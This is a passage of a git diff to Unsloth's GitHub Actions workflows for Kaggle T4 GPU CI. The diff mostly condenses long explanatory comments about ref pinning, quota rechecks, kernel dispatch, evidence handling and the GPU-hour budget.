- # spending the setup window on wheels. torch.version.cuda is None is what
- # "the CPU wheel" means, and is what the order exists to secure.
+ # Run the CPU-only harness suites BEFORE pushing; pytest testpaths excludes them, so nothing else
+ # does. Whole directory, not one file. CPU torch must be installed FIRST, or peft pulls CUDA torch and
+ # the CPU line becomes a no-op; the order is then checked (torch.version.cuda is None).
- name: Test the harness
run: |
python -m pip install --quiet --index-url https://download.pytorch.org/whl/cpu torch
- # Every third-party module tests/kaggle/test_*.py imports without a
- # pytest.importorskip guard. pillow and pyyaml arrived transitively
- # until now, which is luck rather than a dependency, and datasets did
- # not arrive at all: run 32925226213 ran 803 of 805 tests and reported
- # success on the step, because two vision-dataset guards raised
- # ModuleNotFoundError. test_harness_dependencies.py keeps this line and
- # that import set in agreement.
- # huggingface_hub is named rather than left to arrive under
- # transformers: test_phase_timers.py imports it directly to stand in
- # for the download entry points the fetch timer wraps, and this line's
- # whole history is transitive arrivals being luck rather than a
- # dependency.
+ # Every third-party module tests/kaggle/test_*.py imports unguarded; test_harness_dependencies.py
+ # keeps this line and that import set in agreement.
python -m pip install --quiet pytest transformers peft datasets pillow pyyaml huggingface_hub
python -c "import torch, sys; sys.exit(None if torch.version.cuda is None else 'torch %s is built for CUDA %s: the CPU-index install was skipped as already satisfied' % (torch.__version__, torch.version.cuda))"
python -m pytest tests/kaggle -q
- # The ref the kernels install and test: for a pull request the head SHA
- # checked out above, so they exercise the proposed code rather than the
- # merge base, pinned to a SHA so a push landing mid-run cannot change what
- # was tested.
- #
- # A DISPATCHED ref is resolved to one commit here, for the reason the zoo
- # step below resolves main: every payload pip-installs independently on
- # the kernel, so a branch name forwarded unchanged can resolve to a
- # different commit in each of the four legs and the run would compare a
- # control against a canary not running the same Unsloth. The report
- # records a distribution version rather than a commit, so that drift is
- # invisible afterwards too.
- #
- # This resolves what is INSTALLED and nothing else. The harness (payloads,
- # legs.py, the committed reference) stays on the checked-out tree, because
- # a dispatch is how an arbitrary ref gets tested with today's harness, and
- # most of that harness does not exist on older refs at all.
- #
- # A ref that cannot be resolved stands the run DOWN rather than installing
- # a moving branch, the same answer the zoo step gives.
+ # Resolve a dispatched ref to one commit, so every leg installs the same Unsloth; the harness stays
+ # on the checked-out tree. An unresolvable ref stands the run down.
- name: Resolve the ref under test
id: ref
env:
@@ -804,30 +281,10 @@ jobs:
echo "testing unslothai/unsloth@$HEAD_SHA"
exit 0
fi
- # RESOLVED ONCE, by the gate job, and reused rather than asked again:
- # a branch or tag can move while this job queues, and a second answer
- # could name a commit the gate never keyed the draw or the in-flight
- # check on, whose own run may already be out on the other account.
+ # Reuse the gate's resolution: a moving ref could name a commit the gate never keyed on.
RESOLVED="$GATE_SHA"
- # Every branch above ends here, including the 40-character one. That
- # branch used to be its own exit: a SHA is immutable, so it was
- # accepted on shape alone and nothing asked whether unslothai/unsloth
- # HAS that commit. A mistyped (or force-pushed away, or fork-only) SHA
- # is syntactically perfect, so the run pushed the paid kernels, every
- # payload's `pip install git+...` failed on it, and the four import
- # probes reported the pull request red for a commit that never
- # existed, which is the outcome stand_down exists to avoid.
- #
- # `git ls-remote` cannot answer this: it matches REFS and exits 0 with
- # empty output for any SHA, which is why the shape test was here. A
- # `git fetch` of the object can, being the same reachability pip needs
- # to install the commit, and GitHub answers an unreachable one with
- # `upload-pack: not our ref` and exit 128. --depth=1 keeps it to one
- # commit.
- #
- # Applied to the ls-remote result too, not only to the SHA supplied:
- # one more fetch, and the value written below is then proven
- # installable however it was arrived at.
+ # A SHA-shaped string may not exist (ls-remote matches refs only); fetching the object proves it is
+ # installable (exit 128 otherwise). Applied to every branch above.
if ! printf '%s' "$RESOLVED" | grep -Eq '^[0-9a-f]{40}$'; then
RESOLVED=''
fi
@@ -854,23 +311,8 @@ jobs:
echo "ref=$RESOLVED" >> "$GITHUB_OUTPUT"
echo "testing unslothai/unsloth@$RESOLVED (dispatched as '$UNSLOTH_REF')"
- # unsloth-zoo is resolved ONCE here and every leg installs that exact
- # commit. Passing the branch name is not equivalent: zoo is not in
- # pins/control.txt either, so the control leg, the one with a committed
- # reference band, would install whatever main was when its own pip ran,
- # and since every payload pips independently on the kernel, control and
- # canary could resolve two different zoo commits within one session, the
- # exact uncontrolled variable the pairing excludes. The report records a
- # distribution version rather than a commit, so the drift would not be
- # visible after the fact either.
- #
- # A resolution that cannot be made stands the run DOWN, because falling
- # back to the branch name restores the behaviour the pin removes, and a
- # control and canary differing by unrecorded zoo code invalidate the
- # reference band and the attribution both. A run that cannot be made
- # reproducible has nothing to say, which is infrastructure: a warning and
- # a green job, like the concurrency stand-down. The ls-remote
- # is retried first, a single blip not being a verdict.
+ # Resolve zoo ONCE so control and canary install the same commit (zoo is not in the control pins).
+ # Unresolvable stands down rather than falling back to the branch name.
- name: Pin the zoo revision
id: pins
if: steps.ref.outputs.stand_down != 'true'
@@ -890,20 +332,8 @@ jobs:
echo "zoo_ref=$ZOO_REF" >> "$GITHUB_OUTPUT"
echo "testing against unslothai/unsloth-zoo@$ZOO_REF"
- # BEFORE anything is built, and long before anything is pushed. max_steps
- # is free text on a dispatch and both ways of getting it wrong end as RED
- # LEGS after the session is paid for, rather than as the configuration
- # error they are: a value that is not an integer reaches the payload's
- # argparse, which exits 2 with no report, and the generated cell reports
- # that crash as a failure on purpose; a value shorter than the fp16
- # scaler's leading skipped steps applies no optimizer update at all, and
- # the payload's own optimisation checks fail it.
- #
- # check_steps.py MEASURES the floor from the committed reference and the
- # payload's own optimisation_failures rather than restating a number here
- # that would go stale as soon as either moved. Standing down is the answer
- # an unresolvable ref gets: a warning and a green job, nothing having been
- # learned about the code under test.
+ # Validate max_steps before anything is paid for; check_steps.py measures the floor from the
+ # committed reference rather than restating a number here.
- name: Validate the dispatched step count
id: stepcount
if: steps.ref.outputs.stand_down != 'true' && steps.pins.outputs.stand_down != 'true'
@@ -914,50 +344,17 @@ jobs:
--max-steps "$MAX_STEPS" \
--payload-dir tests/kaggle/t4_smoke
- # --all-kernels builds every kernel in legs.KERNELS and emits the
- # launcher's --notebook arguments and the expected payload count, so the
- # leg-to-kernel plan is stated once, in legs.py.
- #
- # A reference is captured at ONE step count and is comparable only to a
- # run of that count, the payload refusing otherwise rather than quietly
- # passing. So the run that RECAPTURES a reference after a config change
- # has to be dispatched with skip_reference_band, and is the only run that
- # should be. See tests/kaggle/t4_smoke/references/README.md.
+ # A reference compares only to a run of its own step count; recapture runs need skip_reference_band.
+ # See tests/kaggle/t4_smoke/references/README.md.
- name: Build the kernel notebooks
id: build
if: steps.ref.outputs.stand_down != 'true' && steps.pins.outputs.stand_down != 'true' && steps.stepcount.outputs.stand_down != 'true'
env:
- # On the nightly this is 'grpo,multi_gpu'; on every other trigger it
- # is empty and the wired set runs. `github.event.inputs` is null on a
- # schedule, so the default has to come from the fallback rather than
- # from the input's own default.
- #
- # multi_gpu joined grpo here after the ab3 A/B: it PASSES, but it
- # costs makespan (+172.4s and +39.7s on two same-commit pairs, B
- # slower 2 of 2), and the brief for it was multi-GPU coverage at no
- # wall-clock cost. The two legs also serialise cleanly rather than
- # contending: grpo declares 13.8GB and admits no co-tenant, and
- # multi_gpu reserves on every card, so neither ever starts beside the
- # other.
- #
- # latest_compile joined them once unsloth-zoo #1103 merged, and NOT
- # the per-PR kernel its UNWIRED note promised. The note predates the
- # only number that decides it: the leg's own DONE record is 1323.0s
- # (unsloth-probe-lcleg-tmpdir-ac53ca) and at 12.73GB peak it admits
- # no co-tenant, so it needs a card to itself for 22 minutes. The
- # per-PR kernel's only slack is gpu1's 776.3s idle block while Studio
- # holds gpu0, which is not half enough, so wiring it there would add
- # roughly 580s to a 2101.8s makespan. It serialises here for the same
- # reason it does not fit there.
+ # `github.event.inputs` is null on a schedule, so the nightly list comes from the fallback.
+ # multi_gpu and latest_compile serialise here because neither fits the per-PR kernel's makespan.
LEG_LIST: ${{ inputs.legs || (github.event_name == 'schedule' && 'grpo,multi_gpu,latest_compile' || '') }}
SKIP_BAND: ${{ inputs.skip_reference_band }}
- # The VALIDATED, normalised count from the step above, not the raw
- # dispatch string. check_steps.parse_steps accepts "+10", "010" and
- # surrounding whitespace as ten, as the payload's argparse does, so
- # comparing the raw string here read an identical run as a different
- # one and silently dropped the committed band from it. Both sides of
- # that comparison now come from the validator, which reads the
- # reference's count through the payload's own reference_step_count.
+ # The validated, normalised count: parse_steps accepts "+10" or "010" as ten, like argparse.
MAX_STEPS: ${{ steps.stepcount.outputs.steps }}
REF_STEPS: ${{ steps.stepcount.outputs.reference_steps }}
run: |
@@ -966,61 +363,30 @@ jobs:
SKIP='--skip-reference'
echo "::warning title=Reference band check disabled::this run was dispatched with skip_reference_band, so the control leg's metrics are compared against nothing. Only a reference-recapture run should look like this."
elif [ "$MAX_STEPS" != "$REF_STEPS" ]; then
- # A reference is a trace of ONE step count and the payload refuses
- # to compare across counts (check_reference returns
- # step_count_mismatch, which reference_failures turns red), so a
- # dispatch with max_steps != the reference's count could only fail
- # on arithmetic rather than on the code. Drop the band instead of
- # failing; the rest of the control leg's assertions still apply.
+ # A reference cannot compare across step counts, so drop the band instead of failing.
SKIP='--skip-reference'
echo "::warning title=Reference band check skipped::this run is $MAX_STEPS steps and the committed reference was captured at $REF_STEPS, which are not comparable. The band check is off for this run; everything else the control leg asserts still applies."
fi
- # Empty unless asked for. build_kernel defaults AFTER_GPU_CONCURRENT
- # to False, so an unset input and a missing flag agree -- but they
- # agreed silently once before, on run 32674263571, where the flag
- # existed in the CLI and nothing here passed it: the "variant" ran the
- # control's schedule and the A/B compared a configuration against
- # itself. test_the_workflow_can_actually_reach_studio_concurrent is
- # what stops that recurring.
- # Off unless asked for. Measured on run 32689629906 the wheels helped
- # the leg that runs ALONE (gpt-oss install 191.2s -> 152.6s) and cost
- # the three that run CONCURRENTLY (149-163s -> 319-334s). That run
- # changed the caches at the same time, so neither effect is
- # attributable yet, which is why this is a flag rather than a
- # decision.
+ # Off unless asked for; test_the_workflow_can_actually_reach_studio_concurrent guards the wiring.
+ # Shared wheels: measured effect is mixed, hence a flag.
SHARED_WHEELS=''
if [ "${{ inputs.shared_wheels }}" = "true" ]; then
SHARED_WHEELS='--shared-wheels'
fi
- # Default ON, and `inputs` is null on push and on a schedule, so the
- # fallback rather than the input default is what decides those. The
- # measurement behind it: Studio's GPU half is ~1100s and it used to
- # start only once every leg had freed both cards, on top of a
- # ~1200s leg phase. Sharing a card moves it alongside instead.
+ # Default ON; `inputs` is null on push and schedule, so the fallback decides those.
STUDIO_CONCURRENT='--studio-concurrent'
if [ "${{ inputs.studio_concurrent }}" = "false" ]; then
STUDIO_CONCURRENT=''
fi
- # A leg list REPLACES --all-kernels rather than filtering it: the
- # kernel plan and the payload count both come out of the same call,
- # so a filter applied afterwards would leave the launcher expecting
- # payloads that were never built.
+ # A leg list REPLACES --all-kernels: the plan and payload count come from one call.
if [ -n "$LEG_LIST" ]; then
KERNEL_SELECT="--legs $LEG_LIST"
echo "::notice title=Leg override::running $LEG_LIST instead of the wired set"
else
KERNEL_SELECT="--all-kernels"
fi
- # STUDIO RIDES THE WIRED SET ONLY, and that is a refusal rather than a
- # preference: build_kernel.py exits on `--with-studio` without
- # `--all-kernels`, because --legs builds one deliberately narrowed
- # kernel and a ten-minute Studio install defeats narrowing it.
- #
- # Both were emitted unconditionally, so runs 33587255856 and
- # 33716011285 -- every scheduled run there has ever been -- died here
- # on `--with-studio requires --all-kernels` without reaching Kaggle.
- # Each half was guarded alone and neither guard could see the other;
- # test_grpo_nightly.py now runs this body and parses the argv.
+ # Studio rides the wired set only: build_kernel.py refuses --with-studio without --all-kernels.
+ # test_grpo_nightly.py runs this body and parses the argv.
STUDIO=()
if [ -z "$LEG_LIST" ]; then
STUDIO=(--with-studio --studio-args "--max-steps 8")
@@ -1030,13 +396,8 @@ jobs:
fi
echo "studio=true" >> "$GITHUB_OUTPUT"
else
- # Said out loud: a nightly that drops Studio and one whose Studio
- # silently stopped being packed look identical in the summary.
echo "::notice title=Studio is not in this kernel::this run selects legs explicitly, and the Studio payload rides the wired set only. Its coverage comes from the per-PR runs."
- # And the reporter is told rather than left to infer it. With no
- # `studio-gpu` report to filter to, own_verdict answers `partial`
- # and renders "Unsloth GPU smoke: PARTIAL" carrying the NOTEBOOK
- # kernel's reason, about a payload that was never aboard.
+ # Without it the reporter answers `partial` for a payload never aboard.
echo "studio=false" >> "$GITHUB_OUTPUT"
fi
python .github/scripts/kaggle_t4_ci/build_kernel.py \
@@ -1051,21 +412,8 @@ jobs:
$SHARED_WHEELS \
$SKIP
- # BEFORE THE RECHECK, finish what an earlier run started.
- #
- # Before and not after: this can take fifteen minutes of downloads, and a
- # recheck on the far side of that gap is the stale answer it exists to
- # replace, since the Studio workflow can take the account's last session
- # meanwhile. Collecting first also frees whatever slot a finished kernel
- # held.
- #
- # The cheap half of collection: this job already has a runner and this
- # account's token, so a previous commit's finished kernel costs seconds
- # and publishes against ITS OWN sha. `kaggle-collect.yml` does the same on
- # a schedule, always but only every ten minutes.
- #
- # It also answers whether a kernel for THIS commit is already in flight,
- # so a re-run does not buy a second session for a result already coming.
+ # Collect before the recheck: it can take minutes, and the recheck must be last before the push.
+ # It also finds whether a kernel for this commit is already in flight.
- name: Collect finished Kaggle runs
id: collect
if: steps.ref.outputs.stand_down != 'true' && steps.pins.outputs.stand_down != 'true' && steps.stepcount.outputs.stand_down != 'true'
@@ -1081,11 +429,7 @@ jobs:
--no-delete \
--target-url "$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID"
- # Post FIRST, delete SECOND: a verdict that fails to reach GitHub leaves
- # its kernel up for the next pass, and deleting first would make that
- # failure permanent. The poster is shared by all three workflows; it
- # expands the slug's abbreviated sha (the statuses API 422s one) and hands
- # every field to `gh` as its own argument, never through a shell.
+ # Post first, delete second, so a failed post leaves the kernel for the next pass.
- name: Post the collected verdicts as commit statuses
id: post
if: always() && hashFiles('kaggle_collected/collect_result.json') != ''
@@ -1106,51 +450,14 @@ jobs:
--delete-collected kaggle_collected/collect_result.json \
--posted kaggle_collected/posted.json
- # kernel-timeout-sec is passed to Kaggle at push time as a BACKSTOP, not
- # the budget control. Measured on 2026-08-11: a kernel pushed with -t 5400
- # whose nbconvert crashed sat in RUNNING for over two hours and stopped
- # only when deleted. So it is passed and nothing rests on it; what bounds
- # the spend is the launcher deleting every kernel it pushed, on every path
- # out, measured to take the account's used-hours figure back down. See
- # launch.py's module docstring. One value for both kernels, since Kaggle
- # takes it per push and the larger requirement wins: kernel 2 downloads a
- # 12GB gpt-oss checkpoint before it trains anything.
- #
- # `--sha` stands a run down when a kernel of this commit is already up,
- # and `--slot` is part of that identity: slot 2 is the opt-in for a SECOND
- # session on the same ref, so a slot-1 kernel does not count against it
- # while a retry of the slot-2 run itself does.
- #
- # THE GATE'S ANSWER CAN BE STALE BY THE TIME WE GET HERE, and this is the
- # first point at which it cannot be. The `gate` job surveys quota and
- # in-flight kernels before this job exists, and this job then queues on
- # the account-wide concurrency group above with cancel-in-progress false,
- # so when two refs are sampled in together the second one's approval can
- # be a full run old by the time it holds the slot, with a human session or
- # another consumer having spent the reserve in between. Re-asking here,
- # with the slot in hand and immediately before the push, is the only
- # version of the question still true when it is acted on.
- #
- # --force true skips the SAMPLING draw and only that: the dice were rolled
- # by the gate job, and rerolling would discard a run legitimately sampled
- # in. The quota floor and the concurrency survey run in full.
- #
- # --soft-fail, because THIS check is not the one that reports exhaustion.
- # The gate job already answered that question for this run and answered it
- # yes, in one API call and minutes ago; arriving here means the hours went
- # while the run queued on the account-wide group, which is a race lost
- # rather than a week's quota gone. Red here would also be the expensive
- # version of the same message, after a runner, the harness suite and the
- # kernel build. So it stands down green and the step below warns, exactly
- # as it does for a foreign kernel holding the slot.
+ # kernel-timeout-sec is only a backstop (Kaggle has ignored it); the launcher deleting kernels is
+ # the budget control. Recheck the account right before the push: the gate answer can be stale.
+ # --force skips only the sampling draw. --soft-fail: losing the race while queued is a stand-down.
- name: Recheck the Kaggle account
id: recheck
if: steps.ref.outputs.stand_down != 'true' && steps.pins.outputs.stand_down != 'true' && steps.stepcount.outputs.stand_down != 'true'
env:
- # ONE account: the one the gate chose. `--account-env` narrows the
- # recheck to it, so this step cannot quietly clear a DIFFERENT account
- # from the one whose slot this job is holding and whose kernels it is
- # about to push.
+ # --account-env narrows the recheck to the account whose slot this job holds.
KAGGLE_API_TOKEN: ${{ secrets[matrix.secret_name] }}
run: |
python .github/scripts/kaggle_t4_ci/gate.py \
@@ -1161,8 +468,7 @@ jobs:
--budget-hours 4 \
--reserve-hours 20
- # Through the environment rather than an inline expression, so nothing the
- # Kaggle API put in that string is interpolated into a shell.
+ # Via env, not an inline expression, so Kaggle API text never reaches a shell.
- name: Report the stale approval
if: steps.ref.outputs.stand_down != 'true' && steps.pins.outputs.stand_down != 'true' && steps.stepcount.outputs.stand_down != 'true' && steps.recheck.outputs.should_run != 'true'
env:
@@ -1175,32 +481,9 @@ jobs:
run: |
echo "::notice title=Already in flight::a Kaggle kernel for this commit is still running from an earlier run, so nothing was dispatched. Its result will arrive as the kaggle-t4-notebook commit status."
- # --deadline-epoch is when THIS JOB is killed, and the launcher pushes
- # nothing unless its whole worst case still fits before it. Everything
- # above is unbounded -- a checkout, a pip install off a slow index, the
- # harness suite, three network resolutions -- so the timeout-minutes above
- # leaving room for them is an assumption about their duration, not a
- # property of the run. Spend that room and the launcher would still push,
- # and the runner would then be killed with kernels up: GitHub kills the
- # process tree about ten seconds after it starts cancelling, which does
- # not cover release()'s retries, and a kernel nobody deletes bills quota
- # to its own ceiling. So the launcher measures what is left instead, and a
- # window too short is a green stand-down, like every other infrastructure
- # outcome here.
- #
- # JOB_TIMEOUT_MINUTES restates this job's timeout-minutes because a job
- # cannot read its own; the harness suite asserts the two agree, so moving
- # one without the other is a red test rather than a silent gap.
- #
- # PUSH AND EXIT. Waiting here cost 41.5 minutes of runner per commit
- # (measured, run 33479481067) against a queue 400-670 deep.
- #
- # This job now succeeds by DISPATCHING and proves only that Kaggle
- # accepted a push. The verdict arrives later as the `kaggle-t4-notebook`
- # commit status, which cannot be a REQUIRED check while the gate samples
- # and the workflow path-filters: a skipped commit never gets one.
- # --commit-sha puts the sha into the slug, the only record outliving this
- # runner.
+ # --deadline-epoch is when this job is killed; the launcher pushes only if its worst case fits.
+ # JOB_TIMEOUT_MINUTES must equal timeout-minutes (asserted by the harness suite).
+ # Push and exit; the verdict arrives later as the `kaggle-t4-notebook` commit status.
- name: Dispatch to Kaggle
id: launch
if: steps.recheck.outputs.should_run == 'true' && steps.collect.outputs.in_flight != 'true'
@@ -1222,37 +505,25 @@ jobs:
--commit-sha '${{ steps.ref.outputs.ref }}' \
--deadline-epoch "$(( JOB_START_EPOCH + JOB_TIMEOUT_MINUTES * 60 ))"
- # Gated on the launcher's verdict, not its exit code: launch.py exits 0
- # for every stand-down, and a pending status for a kernel that does not
- # exist is one no collector can ever replace.
+ # Gated on the launcher's verdict, not exit code: launch.py exits 0 for every stand-down.
- name: Mark the dispatch pending on this commit
if: steps.launch.outputs.verdict == 'dispatched'
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
- # A required context that has never been posted blocks a pull request
- # forever with no explanation on the page.
gh api "repos/$GITHUB_REPOSITORY/statuses/${{ steps.ref.outputs.ref }}" \
-f state=pending -f context=kaggle-t4-notebook \
-f description="dispatched to Kaggle; the result is collected when the kernel finishes" \
-f target_url="$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID" \
--silent || echo "::warning title=Could not post the pending status::kaggle-t4-notebook"
- # The launcher collects executed notebooks and the kernel log and nothing
- # else, deliberately. The Studio payload therefore encodes its
- # screenshots and logs into its own cell output; this puts them back.
- # Lifted from kaggle-t4-studio-gpu-ci.yml along with the payload itself.
- #
- # It is safe on a run that carried no Studio payload: the collector finds
- # no encoded evidence and writes nothing.
+ # The launcher collects only notebooks and logs, so the Studio payload encodes evidence in cell
+ # output. Harmless on runs without Studio.
- name: Unpack the Playwright evidence
if: always() && hashFiles('kaggle_evidence/**/*_output.ipynb', 'kaggle_collected/**/*_output.ipynb') != ''
continue-on-error: true
run: |
- # One kernel per call: the bundle is reassembled from numbered chunks
- # and one walk over two would splice them together. Both trees, since
- # a waited-on kernel lands in kaggle_evidence and a collected one in
- # kaggle_collected.
+ # One kernel per call: chunks from two kernels would be spliced together.
for dir in kaggle_evidence/*/ kaggle_collected/*/; do
[ -d "$dir" ] || continue
python .github/scripts/kaggle_studio_ci/collect_evidence.py \
@@ -1260,21 +531,8 @@ jobs:
--outdir "studio_evidence/$(basename "$dir")"
done
- # always(): the evidence is most valuable when something went wrong, and
- # the executed notebooks are kilobytes.
- #
- # continue-on-error, because this step decided the check colour and had no
- # business doing so: an artifact-service outage (or a throttled upload) is
- # a step failure, a step failure fails the job, and the job is what the
- # pull request shows. The verdict is Report's, below, which runs under
- # always() and can still read the payloads and conclude pass; red here for
- # an evidence upload contradicts this file's FAILURE SEMANTICS, which
- # promise red ONLY for a payload that ran and failed its assertions.
- #
- # It stays visible: continue-on-error leaves the step's `outcome` at
- # failure while its `conclusion` becomes success, so the runner still
- # annotates it and the step below reads that outcome and says so in the
- # summary.
+ # continue-on-error: an artifact outage must not decide the check colour; the next step reports
+ # the failed outcome.
- name: Upload evidence
id: evidence
if: always()
@@ -1287,24 +545,16 @@ jobs:
kaggle_collected/**
studio_evidence/**
kernel*.ipynb
- # 14 rather than the repo's usual 7: this job runs on a minority of
- # commits, so two consecutive samples can be a fortnight apart, and
- # comparing them is the main reason to keep the evidence. It is also
- # where a reference is recaptured from.
+ # 14 days: sampled runs can be a fortnight apart, and references are recaptured from these.
retention-days: 14
if-no-files-found: warn
- # The upload above cannot fail the job any more, so it says out loud that
- # it failed. Without this the only trace is the runner's own annotation on
- # a green job, and the evidence is what a red verdict is read from.
- name: Report the evidence upload failure
if: always() && steps.evidence.outcome == 'failure'
run: |
echo "::warning title=The evidence artifact did not upload::the executed notebooks and kernel logs for this run are not attached. The verdict below stands on its own; re-run the job if the evidence is needed."
- # Only when the launcher actually ran: a run that stood down at the
- # recheck has no evidence, and "0 of 4 payloads" would read as a failure
- # rather than the skip it is.
+ # Only when the launcher ran: a stand-down has no evidence and must not read as a failure.
- name: Report
if: always() && hashFiles('kaggle_evidence/**/*_output.ipynb') != ''
run: |
@@ -1312,17 +562,8 @@ jobs:
--evidence kaggle_evidence \
--expect '${{ steps.build.outputs.legs || 4 }}'
- # Two reporters over ONE evidence directory, each rendering the labels it
- # owns: the four training legs above, the Studio assertions here. They
- # are not merged because the two payload shapes are not comparable -- a
- # per-step metric trace against a list of assertions -- and a single
- # renderer over both produces a training leg made of question marks.
- #
- # Its exit code is the same contract as the T4 reporter's: red only for a
- # payload that ran and failed its assertions.
- # Only when the kernel carried Studio. This reporter answers an empty
- # report set with `partial` rather than silence, so ungated it would print
- # a PARTIAL section on every leg-list run about a payload it never ran.
+ # Separate reporter: the Studio assertions are not comparable to training traces. Only when the
+ # kernel carried Studio, or it prints PARTIAL for a payload it never ran.
- name: Report Studio
if: always() && hashFiles('kaggle_evidence/**/*_output.ipynb') != '' && steps.build.outputs.studio == 'true'
run: |
diff --git a/.github/workflows/kaggle-t4-studio-gpu-ci.yml b/.github/workflows/kaggle-t4-studio-gpu-ci.yml
index 634e495a75a..83c609dbee7 100644
--- a/.github/workflows/kaggle-t4-studio-gpu-ci.yml
+++ b/.github/workflows/kaggle-t4-studio-gpu-ci.yml
@@ -1,190 +1,39 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-#
-# Unsloth Studio on a real CUDA GPU, on free Kaggle T4 hardware.
-#
-# Why this exists: Unsloth has ZERO CUDA coverage. Every Unsloth workflow in
-# this repo runs on ubuntu-latest, macos-15 or windows-latest, and nothing
-# matches `runs-on:.*(gpu|a100|t4|nvidia|self-hosted)`. macOS gives Metal and
-# MLX some hardware; the CUDA path is exercised by nothing at all.
-# studio-inference-smoke.yml runs real GGUF inference against a 270M model
-# precisely because it has to decode on a CPU. This is the first job that can
-# tell a working GPU path from a CPU fallback.
-#
-# What runs: tests/kaggle/studio_gpu/run_studio_gpu.py, one payload per
-# kernel. It installs Unsloth the supported way (`install.sh --local`, which
-# builds the frontend, makes the venv and fetches a CUDA llama.cpp), starts
-# the server headless, and asserts three things.
-#
-# A. GGUF inference is ON THE GPU, and tool calling works. Three
-# independent probes -- process VRAM from nvidia-smi, llama.cpp's own
-# offload line, device-wide VRAM growth -- and a rule that no evidence
-# is a FAILURE rather than a pass. "The model returned text" is
-# explicitly not evidence: a CPU fallback returns text too, which is why
-# no existing Unsloth job can catch one. Then tool calling through
-# /v1/chat/completions with tool_choice=required, asserting
-# finish_reason == "tool_calls".
-# B. A LoRA training run finishes and leaves an adapter. Tested on no
-# platform today. Judged on the phase reaching `completed` AND a loss
-# logged for every step AND adapter_model.safetensors existing above a
-# size floor -- a run whose dataset formats to zero rows also reaches
-# `completed`, and a save that no-ops still leaves a config.
-# C. GGUF export runs against a CUDA llama.cpp build and the output loads.
-# The install kind on disk is asserted to be a CUDA bundle, the output
-# is checked for the GGUF magic rather than for existence, and "it
-# loads" is asserted by loading it back into Unsloth and generating.
-#
-# Then the repo's existing tests/studio/playwright_chat_ui.py is driven
-# against the same server, last, because its final phase clicks "Stop server"
-# and asserts the port closes.
+# Unsloth Studio on a real CUDA GPU (free Kaggle T4): GPU GGUF inference + tool calling,
+# LoRA training to an adapter, GGUF export that reloads, then playwright_chat_ui.py (stops the server, so last).
#
# ---------------------------------------------------------------------
-# BUDGET. Read this before changing any trigger.
# ---------------------------------------------------------------------
-# CI holds TWO Kaggle accounts, with a WEEKLY accelerator budget each (60h
-# and 30h at time of writing), shared with every other use of those accounts
-# and with the notebook leg in kaggle-t4-notebook-ci.yml. A run is drawn onto
-# one of them in proportion to those totals, read from Kaggle's quota API each
-# run rather than written down here.
-#
-# `--reserve-hours 10` is what the last sixth is held back by, and it SCALES:
-# ten hours out of a 60h plan is the same fraction as five out of a 30h one, so
-# the smaller account is not quietly made the stricter one. See scaled_reserve
-# in .github/scripts/kaggle_t4_ci/gate.py.
-#
-# Unsloth is sampled HARDER than the notebook leg because Unsloth changes land
-# far more often. That comes out as MORE launches, far more GPU-hours, a
-# bigger share of the allowance -- and as a LOWER percentage. The percentage
-# moves the other way because the eligible event stream here is about three
-# times larger and each launch costs about three times as much, so a point of
-# rate is worth roughly ten times more here. See COMPARED WITH THE NOTEBOOK
-# LEG below; that inversion is the arithmetic, not a mistake in it.
-#
-# MEASURED, 7 days to 2026-08-11 on unslothai/unsloth:
-# 479 commits landed on main (the wider week the numbers below use is
-# 514), of which 199 -- 41.5% -- touched the GPU-relevant Unsloth surface
-# this workflow filters on. 67% touched studio/ at all; the filter is
-# narrower than that on purpose, see PATHS below.
-# Of a 40-PR sample of pull requests opened in the same window, 13
-# (32.5%) touched that same surface. 30 (75%) touched studio/ at all.
-#
-# ELIGIBLE INVOCATIONS
-# push to main 514 x 0.415 = ~213 / week
-# pull_request 566 x 0.325 x ~3 events = ~550 / week
-# (opened plus synchronize; the same multiplier the
-# notebook leg's measured 150-200 implies)
-# total = ~760 / week
-#
-# COST OF ONE LAUNCH, itemised rather than guessed. A Kaggle session bills
-# wall clock, so this is wall clock, and none of it is cached: a kernel
-# starts from the stock image every time.
-# git clone + install.sh --local (venv, frontend build,
-# CUDA torch, llama.cpp prebuilt) ~20 min
-# playwright chromium + system deps ~3 min
-# Unsloth boot to healthy ~1 min
-# chat GGUF download (~1.5 GB) + assertions A ~5 min
-# assertion B (0.5B base download, 8 LoRA steps, save) ~6 min
-# assertion C (merge, GGUF convert, quantize, reload) ~6 min
-# tests/studio/playwright_chat_ui.py, 28 phases ~10 min
-# evidence bundle ~1 min
+# BUDGET. Read this before changing any trigger. Two Kaggle accounts with weekly quotas, shared with
+# kaggle-t4-notebook-ci.yml; this leg's share of the 50h CI allowance is 35h. See gate.py scaled_reserve.
+# One launch is ~0.75 GPU-h (uncached install.sh --local dominates).
# -------------------------------------------------------------------
-# ~52 min, call it 0.75 GPU-h with the variance that hides in a
-# download. The notebook leg costs 0.08 h; this is roughly 9x it, and
-# unlike that one it is NOT dominated by pip install alone.
-#
-# ARITHMETIC, at the current settings.
# eligible invocations ~760 / week (paths filter, measured)
# x sampling rate 0.05 (--percent 5)
# = launches ~38 / week
# x cost of one launch 0.75 h
# = EXPECTED SPEND ~28 GPU-h / week
+# The percentage is LOWER than the notebook leg's yet buys more hours (bigger stream, costlier launch);
+# the harness test asserts that inversion. One payload: the second T4 is left idle on purpose.
#
-# Against the 60 h account budget that is ~47%, and against the 50 h CI
-# allowance ~57%. This leg's share of that allowance is 35 h.
-#
-# Worst case, if every sampled launch ran to the 70-minute kernel ceiling:
-# 38 x 1.17 = ~44 GPU-h/week, which is over the 35 h share. That is what
-# the 10 h reserve is for, and it is the ceiling; the rate above is the
-# expectation.
-#
-# COMPARED WITH THE NOTEBOOK LEG, which is what "sampled higher" means:
-# launches / week ~38 vs 13-35
-# GPU-h / week ~28 vs 3.3-8.7
-# share of the 50h CI allowance 35 vs 15
-# sampling rate 5% vs 15%
-#
-# THE PERCENTAGE IS THE ONE AXIS THAT INVERTS, AND IT CANNOT BE MADE TO
-# AGREE. Unsloth's eligible stream is ~3.3x the notebook leg's busy-week
-# count and each launch costs 3x as much, so a percentage point here buys
-# ~10x the GPU-hours it does there. At a common rate r the two cost 570r
-# and 58r; equalising the rate at anything this leg can afford would leave
-# the notebook leg running on a handful of commits a week, and raising this
